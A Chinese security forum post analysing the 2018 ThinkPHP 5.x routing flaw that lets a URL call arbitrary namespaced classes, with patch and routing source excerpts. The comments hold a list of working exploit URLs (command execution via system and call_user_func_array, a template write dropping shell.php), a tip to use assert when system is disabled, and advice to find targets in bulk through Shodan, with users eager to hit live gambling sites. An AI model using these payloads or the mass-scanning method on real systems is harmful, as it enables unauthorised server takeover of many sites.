ThinPHP5.1 代码执行漏洞简单分析

2018-12-10 23:51:10 78 11496 2

ThinPHP5.1 代码执行漏洞

0x1 漏洞分析

补丁文件所在位置:/thinkphp/library/think/route/dispatch/Url.php 56-66行



        if ($this->param['auto_search']) {
            $controller = $this->autoFindController($module, $path);
        } else {
            // 解析控制器
            $controller = !empty($path) ? array_shift($path) : null;
        }

        if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) { patch fix vuls
            throw new HttpException(404, 'controller not exists:' . $controller);
        }

        // 解析操作

具体操作文件:/thinkphp/library/think/route/dispatch/Module.php

<?php

        parent::init();

        $result = $this->dispatch;
        /*
        $result完整被请求的url
        thinkphp正常支持 
        index.php/index/index/index
        index.php?s=index/index/index
        俩种模式的路由
        $result="index/index/index"
        */
        if (is_string($result)) {
            $result = explode('/', $result);
        }

        if ($this->rule->getConfig('app_multi_module')) {
            // 多模块部署
            $module    = strip_tags(strtolower($result[0] ?: $this->rule->getConfig('default_module')));
            $bind      = $this->rule->getRouter()->getBind();
            $available = false;

            if ($bind && preg_match('/^[a-z]/is', $bind)) {
                // 绑定模块
                list($bindModule) = explode('/', $bind);
                if (empty($result[0])) {
                    $module = $bindModule;
                }
                $available = true;
            } elseif (!in_array($module, $this->rule->getConfig('deny_module_list')) && is_dir($this->app->getAppPath() . $module)) {
                $available = true;
            } elseif ($this->rule->getConfig('empty_module')) {
                $module    = $this->rule->getConfig('empty_module');
                $available = true;
            }

            // 模块初始化
            // echo $this->app->getAppPath() . $module."<br>";
            // var_dump(is_dir($this->app->getAppPath() . $module));

            //echo $module,$available;die();
            if ($module && $available) {
                // 初始化模块
                //echo 123123;
                $this->request->setModule($module);
                $this->app->init($module);
            } else {
                throw new HttpException(404, 'module not exists:' . $module);
            }
        }

        // 是否自动转换控制器和操作名
        var_dump($result);
        $convert = is_bool($this->convert) ? $this->convert : $this->rule->getConfig('url_convert');
        // 获取控制器名
        $controller = strip_tags($result[1] ?: $this->rule->getConfig('default_controller')); //分割了/之后取第二个参数

        $this->controller = $convert ? strtolower($controller) : $controller;

        // 获取操作名
        $this->actionName = strip_tags($result[2] ?: $this->rule->getConfig('default_action')); //分割了/之后取第三个参数
        echo 'init:'.$this->controller."<br>";
        // 设置当前请求的控制器、操作
        $this->request
            ->setController(Loader::parseName($this->controller, 1))
            ->setAction($this->actionName);

        return $this;
    }

    public function exec()
    {
        // 监听module_init
        $this->app['hook']->listen('module_init');

        try {
            // 实例化控制器
            echo 'exec:'.$this->controller."<br>";
            $instance = $this->app->controller($this->controller,
                $this->rule->getConfig('url_controller_layer'),
                $this->rule->getConfig('controller_suffix'),
                $this->rule->getConfig('empty_controller'));

         ...
            //echo 123;die();
            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

...

在看 $this->app->controller函数原型 /thinkphp/library/think/App.php

  public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '')
    {   
        echo $name, $layer, $appendSuffix."<br>";
        list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); //重点调用了parseModuleAndClass
        var_dump(class_exists($class));
        echo 'class:'.$class."<br>";
        if (class_exists($class)) {
            echo 'class_exists<br>';
            return $this->__get($class);
        } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {
            return $this->__get($emptyClass);
        }

        throw new ClassNotFoundException('class not exists:' . $class, $class);
    }

    protected function parseModuleAndClass($name, $layer, $appendSuffix)
    {   echo 'parseModuleAndClass:'.$name."<br>";
        if (false !== strpos($name, '\\')) { //如果name种包含\则赋值给class
            $class  = $name;

            $module = $this->request->module();

        } else {
            if (strpos($name, '/')) {
                list($module, $name) = explode('/', $name, 2);
            } else {
                $module = $this->request->module();
            }

            $class = $this->parseClass($module, $layer, $name, $appendSuffix);
        }

        return [$module, $class];
    }

0x2 漏洞利用

看到这里基本就能理解了 如果我访问

http://127.0.0.1:8023/index.php?s=index/think\Loader/esss&a=1asdasd

就可以调用think\Loader 这个namespace下面的esss函数,为了方便测试,我在loader中加了一个esss函数,截图如下

下面只要找到一个点能代码执行即可 刚准备找点exploit就出来了?你们是魔鬼吗?

关于作者

评论78次

要评论?请先  登录  或  注册
  • TOP1
    2018-12-11 10:52

    1、?s=index/\think\Request/input&filter=phpinfo&data=12、?s=index/\think\Request/input&filter=system&data=id3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=16、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=18、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

  • TOP2
    2018-12-11 09:32

    本地复现使用版本号为 thinkphp5.0.15php5.6n apache2.0url:http://127.0.0.1/ThinkPHP/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami[img][/img]

  • TOP3
    2018-12-11 00:26

    5.1的不多见我看市面上很多还是3.2的多啊,这个真是及时雨、

  • TOP4
    2018-12-11 14:32

    全是干货,我收藏了哈,刚刚遇到THINKPHP 土司就爆出来了,爽哈

  • TOP5
    2018-12-11 19:37

    早上看到长亭公众号推送就来土司了,刚好找到个案例,另外分享个小技巧给各位批量的大佬,shodan直接搜索thinkphp的图标,全是thinkphp的站咯,剩下的自由发挥 哈哈

  • 58楼
    2018-12-13 02:37
    langzi

    本地复现使用版本号为 thinkphp5.0.15php5.6n apache2.0url:http://127.0.0.1/ThinkPHP/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=whoami

    1

    怎么感觉是 thinkphp 官方估计的吧

  • 57楼
    2018-12-12 22:35

    这次修复的还是很及时的

  • 56楼
    2018-12-12 16:24

    我有一个问题,为什么比较浅显的洞到现在没有被发现,是否安全研究者已经默认类似tp,cl,yii这些框架就是安全的了

  • 55楼
    2018-12-12 16:04

    很多的bc小盘跟cx都用这个tp此洞一出大佬们可以忙到过年了

  • 54楼
    2018-12-12 14:19

    看到很多案例 好像5.0.5的没有这个问题不知道是不是做了点什么限制

  • 53楼
    2018-12-12 11:43

    控制器不存在:\think\template\driver\file

  • 52楼
    2018-12-12 10:45

    牛,在评论区又找到很多实践的POC

  • 51楼
    2018-12-12 10:03

    谢谢楼主,本地测试成功了

  • 50楼
    2018-12-12 09:13
    scan_z

    tp3.2出 getshell tp5也出getshell ,哎。

    1

    3.2也有?

  • 49楼
    2018-12-12 01:06
    blacksmith

    为啥我测试phpinfo, 可以 执行这个就错误呢?

    1

    我也是 啥情况phpinfo可以 其他不行

  • 48楼
    2018-12-12 00:33
    SkyBlue永恒

    1、?s=index/\think\Request/input&filter=phpinfo&data=12、?s=index/\think\Request/input&filter=system&data=id3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=16、?s=index/\think\app/invokefunction&function=call_user_func_array&vars=system&vars[]=id7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=phpinfo&vars[]=18、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars=system&vars[]=id

    1

    老哥,这批exp好用

  • 47楼
    2018-12-12 00:16

    试了一下 module not exists 估计改了路由

  • 46楼
    2018-12-11 19:58

    本地复习了一下,确实执行成功了,但是没跟到触发点(在哪里调用的think\Loader::esss())求老哥解答!

  • 45楼
    2018-12-11 19:37

    早上看到长亭公众号推送就来土司了,刚好找到个案例,另外分享个小技巧给各位批量的大佬,shodan直接搜索thinkphp的图标,全是thinkphp的站咯,剩下的自由发挥 哈哈

  • 44楼
    2018-12-11 17:51

    测试了几个貌似都不成功

  • 43楼
    2018-12-11 17:34

    tp3.2出 getshelltp5也出getshell ,哎。

  • 42楼
    2018-12-11 16:02

    5.0 5.1版本有区别

  • 41楼
    2018-12-11 15:58
    ansfiv3

    有没有遇到过能执行phpinfo 但是调用system执行系统命令的时候提示因安全原因而被禁用的情况

    1

    你换assert啊朋友

  • 40楼
    2018-12-11 15:49

    牛逼牛逼

  • 39楼
    2018-12-11 15:35

    无法加载模块Index